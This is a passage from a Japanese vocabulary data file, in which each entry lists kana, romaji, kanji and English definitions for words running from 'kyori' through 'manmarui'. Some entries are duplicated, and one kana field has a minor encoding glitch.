year\"\n\t},\n\n\t{\n\t\t'kana':'きょり',\n\t\t'romaji':'kyori',\n\t\t'kanji':'距離',\n\t\t'definition':\"distance;range\"\n\t},\n\n\t{\n\t\t'kana':'きょう',\n\t\t'romaji':'kyou',\n\t\t'kanji':'供',\n\t\t'definition':\"offer;present;submit;serve (a meal);supply\"\n\t},\n\n\t{\n\t\t'kana':'きょう',\n\t\t'romaji':'kyou',\n\t\t'kanji':'供',\n\t\t'definition':\"offer;present;submit;serve (a meal);supply\"\n\t},\n\n\t{\n\t\t'kana':'きょう',\n\t\t'romaji':'kyou',\n\t\t'kanji':'今日',\n\t\t'definition':\"today;this day\"\n\t},\n\n\t{\n\t\t'kana':'きょう',\n\t\t'romaji':'kyou',\n\t\t'kanji':'今日',\n\t\t'definition':\"today;this day\"\n\t},\n\n\t{\n\t\t'kana':'きょう',\n\t\t'romaji':'kyou',\n\t\t'kanji':'共',\n\t\t'definition':\"both;neither (neg);all;and;as well as;including;with;together with;plural ending\"\n\t},\n\n\t{\n\t\t'kana':'きょうちょう',\n\t\t'romaji':'kyouchou',\n\t\t'kanji':'強調',\n\t\t'definition':\"emphasis;stress;stressed point\"\n\t},\n\n\t{\n\t\t'kana':'きょうちょう',\n\t\t'romaji':'kyouchou',\n\t\t'kanji':'協調',\n\t\t'definition':\"co-operation;conciliation;harmony;firm (market) tone\"\n\t},\n\n\t{\n\t\t'kana':'きょうだい',\n\t\t'romaji':'kyoudai',\n\t\t'kanji':'姉妹',\n\t\t'definition':\"sisters\"\n\t},\n\n\t{\n\t\t'kana':'きょうだい',\n\t\t'romaji':'kyoudai',\n\t\t'kanji':'兄弟',\n\t\t'definition':\"siblings\"\n\t},\n\n\t{\n\t\t'kana':'きょうど',\n\t\t'romaji':'kyoudo',\n\t\t'kanji':'郷土',\n\t\t'definition':\"native place;birth place;one's old home\"\n\t},\n\n\t{\n\t\t'kana':'きょうどう',\n\t\t'romaji':'kyoudou',\n\t\t'kanji':'共同',\n\t\t'definition':\"cooperation;association;collaboration;joint\"\n\t},\n\n\t{\n\t\t'kana':'きょうふ',\n\t\t'romaji':'kyoufu',\n\t\t'kanji':'恐怖',\n\t\t'definition':\"be afraid;dread;dismay;terror\"\n\t},\n\n\t{\n\t\t'kana':'きょうがく',\n\t\t'romaji':'kyougaku',\n\t\t'kanji':'共学',\n\t\t'definition':\"coeducation\"\n\t},\n\n\t{\n\t\t'kana':'きょうぎ',\n\t\t'romaji':'kyougi',\n\t\t'kanji':'競技',\n\t\t'definition':\"game;match;contest\"\n\t},\n\n\t{\n\t\t'kana':'きょうぎ',\n\t\t'romaji':'kyougi',\n\t\t'kanji':'協議',\n\t\t'definition':\"conference;consultation;discussion;negotiation\"\n\t},\n\n\t{\n\t\t'kana':'きょうぐう',\n\t\t'romaji':'kyouguu',\n\t\t'kanji':'境遇',\n\t\t'definition':\"environment;circumstances\"\n\t},\n\n\t{\n\t\t'kana':'きょうはく',\n\t\t'romaji':'kyouhaku',\n\t\t'kanji':'脅迫',\n\t\t'definition':\"threat;menace;coercion;terrorism\"\n\t},\n\n\t{\n\t\t'kana':'きょうい',\n\t\t'romaji':'kyoui',\n\t\t'kanji':'驚異',\n\t\t'definition':\"wonder;miracle\"\n\t},\n\n\t{\n\t\t'kana':'きょういく',\n\t\t'romaji':'kyouiku',\n\t\t'kanji':'教育',\n\t\t'definition':\"training;education\"\n\t},\n\n\t{\n\t\t'kana':'きょういん',\n\t\t'romaji':'kyouin',\n\t\t'kanji':'教員',\n\t\t'definition':\"teaching staff\"\n\t},\n\n\t{\n\t\t'kana':'きょうじる',\n\t\t'romaji':'kyoujiru',\n\t\t'kanji':'興じる',\n\t\t'definition':\"to amuse oneself;to make merry\"\n\t},\n\n\t{\n\t\t'kana':'きょうじゅ',\n\t\t'romaji':'kyoujyu',\n\t\t'kanji':'教授',\n\t\t'definition':\"teaching;instruction;professor\"\n\t},\n\n\t{\n\t\t'kana':'きょうじゅ',\n\t\t'romaji':'kyoujyu',\n\t\t'kanji':'享受',\n\t\t'definition':\"reception;acceptance;enjoyment;being given\"\n\t},\n\n\t{\n\t\t'kana':'きょうか',\n\t\t'romaji':'kyouka',\n\t\t'kanji':'強化',\n\t\t'definition':\"strengthen;intensify;reinforce;solidify\"\n\t},\n\n\t{\n\t\t'kana':'きょうか',\n\t\t'romaji':'kyouka',\n\t\t'kanji':'教科',\n\t\t'definition':\"subject;curriculum\"\n\t},\n\n\t{\n\t\t'kana':'きょうかい',\n\t\t'romaji':'kyoukai',\n\t\t'kanji':'境界',\n\t\t'definition':\"boundary\"\n\t},\n\n\t{\n\t\t'kana':'きょうかい',\n\t\t'romaji':'kyoukai',\n\t\t'kanji':'教会',\n\t\t'definition':\"church\"\n\t},\n\n\t{\n\t\t'kana':'きょうかい',\n\t\t'romaji':'kyoukai',\n\t\t'kanji':'協会',\n\t\t'definition':\"association;society;organization\"\n\t},\n\n\t{\n\t\t'kana':'きょうかん',\n\t\t'romaji':'kyoukan',\n\t\t'kanji':'共感',\n\t\t'definition':\"sympathy;response\"\n\t},\n\n\t{\n\t\t'kana':'きょうかしょ',\n\t\t'romaji':'kyoukasho',\n\t\t'kanji':'教科書',\n\t\t'definition':\"text book\"\n\t},\n\n\t{\n\t\t'kana':'きょうこう',\n\t\t'romaji':'kyoukou',\n\t\t'kanji':'強硬',\n\t\t'definition':\"firm;vigorous;unbending;unyielding;strong;stubborn\"\n\t},\n\n\t{\n\t\t'kana':'きょうこう',\n\t\t'romaji':'kyoukou',\n\t\t'kanji':'強行',\n\t\t'definition':\"forcing;enforcement\"\n\t},\n\n\t{\n\t\t'kana':'きょうくん',\n\t\t'romaji':'kyoukun',\n\t\t'kanji':'教訓',\n\t\t'definition':\"lesson;precept;moral instruction\"\n\t},\n\n\t{\n\t\t'kana':'きょうきゅう',\n\t\t'romaji':'kyoukyuu',\n\t\t'kanji':'供給',\n\t\t'definition':\"supply;provision\"\n\t},\n\n\t{\n\t\t'kana':'きょうめい',\n\t\t'romaji':'kyoumei',\n\t\t'kanji':'共鳴',\n\t\t'definition':\"resonance;sympathy\"\n\t},\n\n\t{\n\t\t'kana':'きょうみ',\n\t\t'romaji':'kyoumi',\n\t\t'kanji':'興味',\n\t\t'definition':\"interest (in something)\"\n\t},\n\n\t{\n\t\t'kana':'きょうれつ',\n\t\t'romaji':'kyouretsu',\n\t\t'kanji':'強烈',\n\t\t'definition':\"strong;intense;severe\"\n\t},\n\n\t{\n\t\t'kana':'きょうり',\n\t\t'romaji':'kyouri',\n\t\t'kanji':'郷里',\n\t\t'definition':\"birth-place;home town\"\n\t},\n\n\t{\n\t\t'kana':'きょうり',\n\t\t'romaji':'kyouri',\n\t\t'kanji':'郷里',\n\t\t'definition':\"birth-place;home town\"\n\t},\n\n\t{\n\t\t'kana':'きょうりょく',\n\t\t'romaji':'kyouryoku',\n\t\t'kanji':'強力',\n\t\t'definition':\"powerful;strong\"\n\t},\n\n\t{\n\t\t'kana':'きょうりょく',\n\t\t'romaji':'kyouryoku',\n\t\t'kanji':'協力',\n\t\t'definition':\"cooperation;collaboration\"\n\t},\n\n\t{\n\t\t'kana':'きょうさく',\n\t\t'romaji':'kyousaku',\n\t\t'kanji':'凶作',\n\t\t'definition':\"bad harvest;poor crop\"\n\t},\n\n\t{\n\t\t'kana':'きょうさん',\n\t\t'romaji':'kyousan',\n\t\t'kanji':'共産',\n\t\t'definition':\"communism\"\n\t},\n\n\t{\n\t\t'kana':'きょうせい',\n\t\t'romaji':'kyousei',\n\t\t'kanji':'強制',\n\t\t'definition':\"obligation;coercion;compulsion;enforcement\"\n\t},\n\n\t{\n\t\t'kana':'きょうし',\n\t\t'romaji':'kyoushi',\n\t\t'kanji':'教師',\n\t\t'definition':\"teacher (classroom)\"\n\t},\n\n\t{\n\t\t'kana':'きょうしつ',\n\t\t'romaji':'kyoushitsu',\n\t\t'kanji':'教室',\n\t\t'definition':\"classroom\"\n\t},\n\n\t{\n\t\t'kana':'きょうしょく',\n\t\t'romaji':'kyoushoku',\n\t\t'kanji':'教職',\n\t\t'definition':\"teaching certificate;the teaching profession\"\n\t},\n\n\t{\n\t\t'kana':'きょうしゅく',\n\t\t'romaji':'kyoushuku',\n\t\t'kanji':'恐縮',\n\t\t'definition':\"shame;very kind of you;sorry to trouble\"\n\t},\n\n\t{\n\t\t'kana':'きょうしゅう',\n\t\t'romaji':'kyoushuu',\n\t\t'kanji':'郷愁',\n\t\t'definition':\"nostalgia;homesickness\"\n\t},\n\n\t{\n\t\t'kana':'きょうしゅう',\n\t\t'romaji':'kyoushuu',\n\t\t'kanji':'教習',\n\t\t'definition':\"training;instruction\"\n\t},\n\n\t{\n\t\t'kana':'きょうそん',\n\t\t'romaji':'kyouson',\n\t\t'kanji':'共存',\n\t\t'definition':\"coexistence\"\n\t},\n\n\t{\n\t\t'kana':'きょうそう',\n\t\t'romaji':'kyousou',\n\t\t'kanji':'競争',\n\t\t'definition':\"competition;contest\"\n\t},\n\n\t{\n\t\t'kana':'きょうてい',\n\t\t'romaji':'kyoutei',\n\t\t'kanji':'協定',\n\t\t'definition':\"arrangement;pact;agreement\"\n\t},\n\n\t{\n\t\t'kana':'きょうつう',\n\t\t'romaji':'kyoutsuu',\n\t\t'kanji':'共通',\n\t\t'definition':\"commonness;community\"\n\t},\n\n\t{\n\t\t'kana':'きょうわ',\n\t\t'romaji':'kyouwa',\n\t\t'kanji':'共和',\n\t\t'definition':\"republicanism;cooperation\"\n\t},\n\n\t{\n\t\t'kana':'きょうよう',\n\t\t'romaji':'kyouyou',\n\t\t'kanji':'教養',\n\t\t'definition':\"culture;education;refinement;cultivation\"\n\t},\n\n\t{\n\t\t'kana':'きょうざい',\n\t\t'romaji':'kyouzai',\n\t\t'kanji':'教材',\n\t\t'definition':\"teaching materials\"\n\t},\n\n\t{\n\t\t'kana':'きょよう',\n\t\t'romaji':'kyoyou',\n\t\t'kanji':'許容',\n\t\t'definition':\"permission;pardon\"\n\t},\n\n\t{\n\t\t'kana':'きょぜつ',\n\t\t'romaji':'kyozetsu',\n\t\t'kanji':'拒絶',\n\t\t'definition':\"refusal;rejection\"\n\t},\n\n\t{\n\t\t'kana':'きゅう',\n\t\t'romaji':'kyuu',\n\t\t'kanji':'九',\n\t\t'definition':\"(num) nine\"\n\t},\n\n\t{\n\t\t'kana':'きゅう',\n\t\t'romaji':'kyuu',\n\t\t'kanji':'球',\n\t\t'definition':\"globe;sphere;ball\"\n\t},\n\n\t{\n\t\t'kana':'きゅう',\n\t\t'romaji':'kyuu',\n\t\t'kanji':'級',\n\t\t'definition':\"class grade rank;school class grade\"\n\t},\n\n\t{\n\t\t'kana':'きゅう',\n\t\t'romaji':'kyuu',\n\t\t'kanji':'旧',\n\t\t'definition':\"ex-\"\n\t},\n\n\t{\n\t\t'kana':'きゅう',\n\t\t'romaji':'kyuu',\n\t\t'kanji':'九',\n\t\t'definition':\"(num) nine\"\n\t},\n\n\t{\n\t\t'kana':'きゅうぼう',\n\t\t'romaji':'kyuubou',\n\t\t'kanji':'窮乏',\n\t\t'definition':\"poverty\"\n\t},\n\n\t{\n\t\t'kana':'きゅうち',\n\t\t'romaji':'kyuuchi',\n\t\t'kanji':'旧知',\n\t\t'definition':\"old friend;old friendship\"\n\t},\n\n\t{\n\t\t'kana':'きゅうでん',\n\t\t'romaji':'kyuuden',\n\t\t'kanji':'宮殿',\n\t\t'definition':\"palace\"\n\t},\n\n\t{\n\t\t'kana':'きゅうえん',\n\t\t'romaji':'kyuuen',\n\t\t'kanji':'救援',\n\t\t'definition':\"relief;rescue;reinforcement\"\n\t},\n\n\t{\n\t\t'kana':'きゅうがく',\n\t\t'romaji':'kyuugaku',\n\t\t'kanji':'休学',\n\t\t'definition':\"temporary absence from school;suspension\"\n\t},\n\n\t{\n\t\t'kana':'きゅうげき',\n\t\t'romaji':'kyuugeki',\n\t\t'kanji':'急激',\n\t\t'definition':\"sudden;precipitous;radical\"\n\t},\n\n\t{\n\t\t'kana':'きゅうぎょう',\n\t\t'romaji':'kyuugyou',\n\t\t'kanji':'休業',\n\t\t'definition':\"closed (e.g. store);business suspended;shutdown;holiday\"\n\t},\n\n\t{\n\t\t'kana':'きゅうじ',\n\t\t'romaji':'kyuuji',\n\t\t'kanji':'給仕',\n\t\t'definition':\"office boy (girl);page;waiter\"\n\t},\n\n\t{\n\t\t'kana':'きゅうじょ',\n\t\t'romaji':'kyuujyo',\n\t\t'kanji':'救助',\n\t\t'definition':\"relief;aid;rescue\"\n\t},\n\n\t{\n\t\t'kana':'きゅうか',\n\t\t'romaji':'kyuuka',\n\t\t'kanji':'休暇',\n\t\t'definition':\"holiday;day off;furlough\"\n\t},\n\n\t{\n\t\t'kana':'きゅうけい',\n\t\t'romaji':'kyuukei',\n\t\t'kanji':'休憩',\n\t\t'definition':\"rest;break;recess;intermission\"\n\t},\n\n\t{\n\t\t'kana':'きゅうこん',\n\t\t'romaji':'kyuukon',\n\t\t'kanji':'球根',\n\t\t'definition':\"(plant) bulb\"\n\t},\n\n\t{\n\t\t'kana':'きゅうこう',\n\t\t'romaji':'kyuukou',\n\t\t'kanji':'休講',\n\t\t'definition':\"lecture cancelled\"\n\t},\n\n\t{\n\t\t'kana':'きゅうこう',\n\t\t'romaji':'kyuukou',\n\t\t'kanji':'急行',\n\t\t'definition':\"express (e.g. train that bypasses many stations)\"\n\t},\n\n\t{\n\t\t'kana':'きゅうくつ',\n\t\t'romaji':'kyuukutsu',\n\t\t'kanji':'窮屈',\n\t\t'definition':\"narrow;tight;stiff;rigid;uneasy;formal;constrained\"\n\t},\n\n\t{\n\t\t'kana':'きゅうきょく',\n\t\t'romaji':'kyuukyoku',\n\t\t'kanji':'究極',\n\t\t'definition':\"ultimate;final;eventual\"\n\t},\n\n\t{\n\t\t'kana':'きゅうりょう',\n\t\t'romaji':'kyuuryou',\n\t\t'kanji':'給料',\n\t\t'definition':\"salary;wages\"\n\t},\n\n\t{\n\t\t'kana':'きゅうりょう',\n\t\t'romaji':'kyuuryou',\n\t\t'kanji':'丘陵',\n\t\t'definition':\"hill\"\n\t},\n\n\t{\n\t\t'kana':'きゅうさい',\n\t\t'romaji':'kyuusai',\n\t\t'kanji':'救済',\n\t\t'definition':\"relief;aid;rescue;salvation;help\"\n\t},\n\n\t{\n\t\t'kana':'きゅうせん',\n\t\t'romaji':'kyuusen',\n\t\t'kanji':'休戦',\n\t\t'definition':\"truce;armistice\"\n\t},\n\n\t{\n\t\t'kana':'きゅうしょく',\n\t\t'romaji':'kyuushoku',\n\t\t'kanji':'給食',\n\t\t'definition':\"school lunch;providing a meal\"\n\t},\n\n\t{\n\t\t'kana':'きゅうしゅう',\n\t\t'romaji':'kyuushuu',\n\t\t'kanji':'吸収',\n\t\t'definition':\"absorption;suction;attraction\"\n\t},\n\n\t{\n\t\t'kana':'きゅうそく',\n\t\t'romaji':'kyuusoku',\n\t\t'kanji':'休息',\n\t\t'definition':\"rest;relief;relaxation\"\n\t},\n\n\t{\n\t\t'kana':'きゅうそく',\n\t\t'romaji':'kyuusoku',\n\t\t'kanji':'急速',\n\t\t'definition':\"rapid (e.g. progress)\"\n\t},\n\n\t{\n\t\t'kana':'きゅうよ',\n\t\t'romaji':'kyuuyo',\n\t\t'kanji':'給与',\n\t\t'definition':\"allowance;grant;supply\"\n\t},\n\n\t{\n\t\t'kana':'きゅうよう',\n\t\t'romaji':'kyuuyou',\n\t\t'kanji':'休養',\n\t\t'definition':\"rest;break;recreation\"\n\t},\n\n\t{\n\t\t'kana':'まあ',\n\t\t'romaji':'maa',\n\t\t'kanji':'',\n\t\t'definition':\"you might say\"\n\t},\n\n\t{\n\t\t'kana':'まあまあ',\n\t\t'romaji':'maamaa',\n\t\t'kanji':'',\n\t\t'definition':\"so-so\"\n\t},\n\n\t{\n\t\t'kana':'まぶしい',\n\t\t'romaji':'mabushii',\n\t\t'kanji':'眩しい',\n\t\t'definition':\"dazzling;radiant\"\n\t},\n\n\t{\n\t\t'kana':'まぶた',\n\t\t'romaji':'mabuta',\n\t\t'kanji':'目蓋',\n\t\t'definition':\"eyelid\"\n\t},\n\n\t{\n\t\t'kana':'マッチ',\n\t\t'romaji':'machi',\n\t\t'kanji':'',\n\t\t'definition':\"match\"\n\t},\n\n\t{\n\t\t'kana':'まち',\n\t\t'romaji':'machi',\n\t\t'kanji':'町',\n\t\t'definition':\"town;street;road\"\n\t},\n\n\t{\n\t\t'kana':'まち',\n\t\t'romaji':'machi',\n\t\t'kanji':'町',\n\t\t'definition':\"town;street;road\"\n\t},\n\n\t{\n\t\t'kana':'まちあいしつ',\n\t\t'romaji':'machiaishitsu',\n\t\t'kanji':'待合室',\n\t\t'definition':\"waiting room\"\n\t},\n\n\t{\n\t\t'kana':'まちあわせ',\n\t\t'romaji':'machiawase',\n\t\t'kanji':'待ち合わせ',\n\t\t'definition':\"appointment\"\n\t},\n\n\t{\n\t\t'kana':'まちあわせる',\n\t\t'romaji':'machiawaseru',\n\t\t'kanji':'待ち合わせる',\n\t\t'definition':\"to rendezvous;to meet at a prearranged place and time\"\n\t},\n\n\t{\n\t\t'kana':'まちどおしい',\n\t\t'romaji':'machidooshii',\n\t\t'kanji':'待ち遠しい',\n\t\t'definition':\"looking forward to\"\n\t},\n\n\t{\n\t\t'kana':'まちがえる',\n\t\t'romaji':'machigaeru',\n\t\t'kanji':'間違える',\n\t\t'definition':\"to err;to make a mistake\"\n\t},\n\n\t{\n\t\t'kana':'まちがい',\n\t\t'romaji':'machigai',\n\t\t'kanji':'間違い',\n\t\t'definition':\"mistake\"\n\t},\n\n\t{\n\t\t'kana':'まちがう',\n\t\t'romaji':'machigau',\n\t\t'kanji':'間違う',\n\t\t'definition':\"to make a mistake;to be incorrect;to be mistaken\"\n\t},\n\n\t{\n\t\t'kana':'まちかど',\n\t\t'romaji':'machikado',\n\t\t'kanji':'街角',\n\t\t'definition':\"street corner\"\n\t},\n\n\t{\n\t\t'kana':'まちまち',\n\t\t'romaji':'machimachi',\n\t\t'kanji':'区々',\n\t\t'definition':\"1. several;various;divergent;conflicting;different;diverse; 2. trivial\"\n\t},\n\n\t{\n\t\t'kana':'まちのぞむ',\n\t\t'romaji':'machinozomu',\n\t\t'kanji':'待ち望む',\n\t\t'definition':\"to look anxiously for;to wait eagerly for\"\n\t},\n\n\t{\n\t\t'kana':'���だ',\n\t\t'romaji':'mada',\n\t\t'kanji':'未だ',\n\t\t'definition':\"yet;still;more;besides\"\n\t},\n\n\t{\n\t\t'kana':'まど',\n\t\t'romaji':'mado',\n\t\t'kanji':'窓',\n\t\t'definition':\"window\"\n\t},\n\n\t{\n\t\t'kana':'まどぐち',\n\t\t'romaji':'madoguchi',\n\t\t'kanji':'窓口',\n\t\t'definition':\"ticket window\"\n\t},\n\n\t{\n\t\t'kana':'まえもって',\n\t\t'romaji':'maemote',\n\t\t'kanji':'前もって',\n\t\t'definition':\"in advance;beforehand;previously\"\n\t},\n\n\t{\n\t\t'kana':'まえおき',\n\t\t'romaji':'maeoki',\n\t\t'kanji':'前置き',\n\t\t'definition':\"preface;introduction\"\n\t},\n\n\t{\n\t\t'kana':'まえうり',\n\t\t'romaji':'maeuri',\n\t\t'kanji':'前売り',\n\t\t'definition':\"advance sale;booking\"\n\t},\n\n\t{\n\t\t'kana':'まがる',\n\t\t'romaji':'magaru',\n\t\t'kanji':'曲がる',\n\t\t'definition':\"to turn;to bend\"\n\t},\n\n\t{\n\t\t'kana':'まげる',\n\t\t'romaji':'mageru',\n\t\t'kanji':'曲げる',\n\t\t'definition':\"to bend;to crook;to lean\"\n\t},\n\n\t{\n\t\t'kana':'まぎらわしい',\n\t\t'romaji':'magirawashii',\n\t\t'kanji':'紛らわしい',\n\t\t'definition':\"confusing;misleading;equivocal;ambiguous\"\n\t},\n\n\t{\n\t\t'kana':'まぎれる',\n\t\t'romaji':'magireru',\n\t\t'kanji':'紛れる',\n\t\t'definition':\"to be diverted;to slip into\"\n\t},\n\n\t{\n\t\t'kana':'まご',\n\t\t'romaji':'mago',\n\t\t'kanji':'孫',\n\t\t'definition':\"grandchild\"\n\t},\n\n\t{\n\t\t'kana':'まごまご',\n\t\t'romaji':'magomago',\n\t\t'kanji':'',\n\t\t'definition':\"confused\"\n\t},\n\n\t{\n\t\t'kana':'まごつく',\n\t\t'romaji':'magotsuku',\n\t\t'kanji':'',\n\t\t'definition':\"to be confused;to be flustered\"\n\t},\n\n\t{\n\t\t'kana':'まひ',\n\t\t'romaji':'mahi',\n\t\t'kanji':'麻痺',\n\t\t'definition':\"paralysis;palsy;numbness;stupor\"\n\t},\n\n\t{\n\t\t'kana':'マフラー',\n\t\t'romaji':'mahura-',\n\t\t'kanji':'',\n\t\t'definition':\"muffler;scarf\"\n\t},\n\n\t{\n\t\t'kana':'マイ',\n\t\t'romaji':'mai',\n\t\t'kanji':'',\n\t\t'definition':\"my;(pref) one's own personal privately owned\"\n\t},\n\n\t{\n\t\t'kana':'まい',\n\t\t'romaji':'mai',\n\t\t'kanji':'枚',\n\t\t'definition':\"counter for flat objects (e.g. sheets of paper)\"\n\t},\n\n\t{\n\t\t'kana':'まいど',\n\t\t'romaji':'maido',\n\t\t'kanji':'毎度',\n\t\t'definition':\"each time;common service-sector greeting\"\n\t},\n\n\t{\n\t\t'kana':'まいご',\n\t\t'romaji':'maigo',\n\t\t'kanji':'迷子',\n\t\t'definition':\"lost (stray) child\"\n\t},\n\n\t{\n\t\t'kana':'マイク',\n\t\t'romaji':'maiku',\n\t\t'kanji':'',\n\t\t'definition':\"mike\"\n\t},\n\n\t{\n\t\t'kana':'マイナス',\n\t\t'romaji':'mainasu',\n\t\t'kanji':'',\n\t\t'definition':\"minus\"\n\t},\n\n\t{\n\t\t'kana':'まいる',\n\t\t'romaji':'mairu',\n\t\t'kanji':'参る',\n\t\t'definition':\"to go;to come;to call;to visit;to visit a shrine;to be defeated;to be nonplussed;to be madly in love;to die\"\n\t},\n\n\t{\n\t\t'kana':'まいすう',\n\t\t'romaji':'maisuu',\n\t\t'kanji':'枚数',\n\t\t'definition':\"the number of flat things\"\n\t},\n\n\t{\n\t\t'kana':'まいぞう',\n\t\t'romaji':'maizou',\n\t\t'kanji':'埋蔵',\n\t\t'definition':\"buried property;treasure trove\"\n\t},\n\n\t{\n\t\t'kana':'まじえる',\n\t\t'romaji':'majieru',\n\t\t'kanji':'交える',\n\t\t'definition':\"to mix;to converse with;to cross (swords)\"\n\t},\n\n\t{\n\t\t'kana':'まじる',\n\t\t'romaji':'majiru',\n\t\t'kanji':'交じる',\n\t\t'definition':\"to be mixed;to be blended with;to associate with;to mingle with;to interest;to join\"\n\t},\n\n\t{\n\t\t'kana':'まじる',\n\t\t'romaji':'majiru',\n\t\t'kanji':'混じる',\n\t\t'definition':\"to be mixed;to be blended with;to associate with;to mingle with;to interest;to join\"\n\t},\n\n\t{\n\t\t'kana':'まじわる',\n\t\t'romaji':'majiwaru',\n\t\t'kanji':'交わる',\n\t\t'definition':\"to cross;to intersect;to associate with;to mingle with;to interest;to join\"\n\t},\n\n\t{\n\t\t'kana':'まっか',\n\t\t'romaji':'maka',\n\t\t'kanji':'真っ赤',\n\t\t'definition':\"deep red;flushed (of face)\"\n\t},\n\n\t{\n\t\t'kana':'まかなう',\n\t\t'romaji':'makanau',\n\t\t'kanji':'賄う',\n\t\t'definition':\"to give board to;to provide meals;to pay\"\n\t},\n\n\t{\n\t\t'kana':'まかせる',\n\t\t'romaji':'makaseru',\n\t\t'kanji':'任せる',\n\t\t'definition':\"1. to entrust to another;to leave to; 2. to do something at one's leisure\"\n\t},\n\n\t{\n\t\t'kana':'まかす',\n\t\t'romaji':'makasu',\n\t\t'kanji':'負かす',\n\t\t'definition':\"to defeat\"\n\t},\n\n\t{\n\t\t'kana':'まかす',\n\t\t'romaji':'makasu',\n\t\t'kanji':'任す',\n\t\t'definition':\"to entrust;to leave to a person\"\n\t},\n\n\t{\n\t\t'kana':'まけ',\n\t\t'romaji':'make',\n\t\t'kanji':'負け',\n\t\t'definition':\"defeat;loss;losing (a game)\"\n\t},\n\n\t{\n\t\t'kana':'まける',\n\t\t'romaji':'makeru',\n\t\t'kanji':'負ける',\n\t\t'definition':\"to lose;to be defeated\"\n\t},\n\n\t{\n\t\t'kana':'マーケット',\n\t\t'romaji':'ma-keto',\n\t\t'kanji':'',\n\t\t'definition':\"market\"\n\t},\n\n\t{\n\t\t'kana':'まっき',\n\t\t'romaji':'maki',\n\t\t'kanji':'末期',\n\t\t'definition':\"closing years (period days);last stage\"\n\t},\n\n\t{\n\t\t'kana':'まき',\n\t\t'romaji':'maki',\n\t\t'kanji':'巻',\n\t\t'definition':\"volume\"\n\t},\n\n\t{\n\t\t'kana':'まっくら',\n\t\t'romaji':'makkura',\n\t\t'kanji':'真っ暗',\n\t\t'definition':\"total darkness;shortsightedness;pitch dark\"\n\t},\n\n\t{\n\t\t'kana':'まっくろ',\n\t\t'romaji':'makkuro',\n\t\t'kanji':'真っ黒',\n\t\t'definition':\"pitch black\"\n\t},\n\n\t{\n\t\t'kana':'まこころ',\n\t\t'romaji':'makokoro',\n\t\t'kanji':'真心',\n\t\t'definition':\"sincerity;devotion\"\n\t},\n\n\t{\n\t\t'kana':'まこと',\n\t\t'romaji':'makoto',\n\t\t'kanji':'誠',\n\t\t'definition':\"truth;faith;fidelity;sincerity;trust;confidence;reliance;devotion\"\n\t},\n\n\t{\n\t\t'kana':'まことに',\n\t\t'romaji':'makotoni',\n\t\t'kanji':'真に',\n\t\t'definition':\"truly;actually;really\"\n\t},\n\n\t{\n\t\t'kana':'まく',\n\t\t'romaji':'maku',\n\t\t'kanji':'撒く',\n\t\t'definition':\"to scatter;to sprinkle;to sow\"\n\t},\n\n\t{\n\t\t'kana':'まく',\n\t\t'romaji':'maku',\n\t\t'kanji':'蒔く',\n\t\t'definition':\"to sow (seeds)\"\n\t},\n\n\t{\n\t\t'kana':'まく',\n\t\t'romaji':'maku',\n\t\t'kanji':'巻く',\n\t\t'definition':\"to wind;to coil;to roll\"\n\t},\n\n\t{\n\t\t'kana':'まく',\n\t\t'romaji':'maku',\n\t\t'kanji':'膜',\n\t\t'definition':\"membrane;film\"\n\t},\n\n\t{\n\t\t'kana':'マーク',\n\t\t'romaji':'ma-ku',\n\t\t'kanji':'',\n\t\t'definition':\"mark\"\n\t},\n\n\t{\n\t\t'kana':'まくら',\n\t\t'romaji':'makura',\n\t\t'kanji':'枕',\n\t\t'definition':\"pillow;bolster\"\n\t},\n\n\t{\n\t\t'kana':'まくる',\n\t\t'romaji':'makuru',\n\t\t'kanji':'捲る',\n\t\t'definition':\"verb suffix to indicate reckless abandon to the activity\"\n\t},\n\n\t{\n\t\t'kana':'ママ',\n\t\t'romaji':'mama',\n\t\t'kanji':'',\n\t\t'definition':\"Mama\"\n\t},\n\n\t{\n\t\t'kana':'まま',\n\t\t'romaji':'mama',\n\t\t'kanji':'間々',\n\t\t'definition':\"occasionally;frequently\"\n\t},\n\n\t{\n\t\t'kana':'まめ',\n\t\t'romaji':'mame',\n\t\t'kanji':'豆',\n\t\t'definition':\"beans;peas\"\n\t},\n\n\t{\n\t\t'kana':'まもなく',\n\t\t'romaji':'mamonaku',\n\t\t'kanji':'間もなく',\n\t\t'definition':\"soon;before long;in a short time\"\n\t},\n\n\t{\n\t\t'kana':'まもる',\n\t\t'romaji':'mamoru',\n\t\t'kanji':'守る',\n\t\t'definition':\"to protect;to obey;to guard;to abide (by the rules)\"\n\t},\n\n\t{\n\t\t'kana':'まなぶ',\n\t\t'romaji':'manabu',\n\t\t'kanji':'学ぶ',\n\t\t'definition':\"to study in depth\"\n\t},\n\n\t{\n\t\t'kana':'まね',\n\t\t'romaji':'mane',\n\t\t'kanji':'真似',\n\t\t'definition':\"mimicry;imitation;behavior;pretense\"\n\t},\n\n\t{\n\t\t'kana':'まねき',\n\t\t'romaji':'maneki',\n\t\t'kanji':'招き',\n\t\t'definition':\"invitation\"\n\t},\n\n\t{\n\t\t'kana':'まねく',\n\t\t'romaji':'maneku',\n\t\t'kanji':'招く',\n\t\t'definition':\"to invite\"\n\t},\n\n\t{\n\t\t'kana':'まねる',\n\t\t'romaji':'maneru',\n\t\t'kanji':'真似る',\n\t\t'definition':\"to mimic;to imitate\"\n\t},\n\n\t{\n\t\t'kana':'まんが',\n\t\t'romaji':'manga',\n\t\t'kanji':'漫画',\n\t\t'definition':\"comic;cartoon\"\n\t},\n\n\t{\n\t\t'kana':'まんげつ',\n\t\t'romaji':'mangetsu',\n\t\t'kanji':'満月',\n\t\t'definition':\"full moon\"\n\t},\n\n\t{\n\t\t'kana':'まにあう',\n\t\t'romaji':'maniau',\n\t\t'kanji':'間に合う',\n\t\t'definition':\"to be in time for\"\n\t},\n\n\t{\n\t\t'kana':'まんいん',\n\t\t'romaji':'manin',\n\t\t'kanji':'満員',\n\t\t'definition':\"full house;no vacancy;sold out;standing room only;full (of people);crowded\"\n\t},\n\n\t{\n\t\t'kana':'まんじょう',\n\t\t'romaji':'manjyou',\n\t\t'kanji':'満場',\n\t\t'definition':\"unanimous;whole audience\"\n\t},\n\n\t{\n\t\t'kana':'まんまえ',\n\t\t'romaji':'manmae',\n\t\t'kanji':'真ん前',\n\t\t'definition':\"right in front;under the nose\"\n\t},\n\n\t{\n\t\t'kana':'まんまるい',\n\t\t'romaji':'manmarui',\n\t\t'kanji':'真ん丸い',\n\t\t'definition':\"perfectly 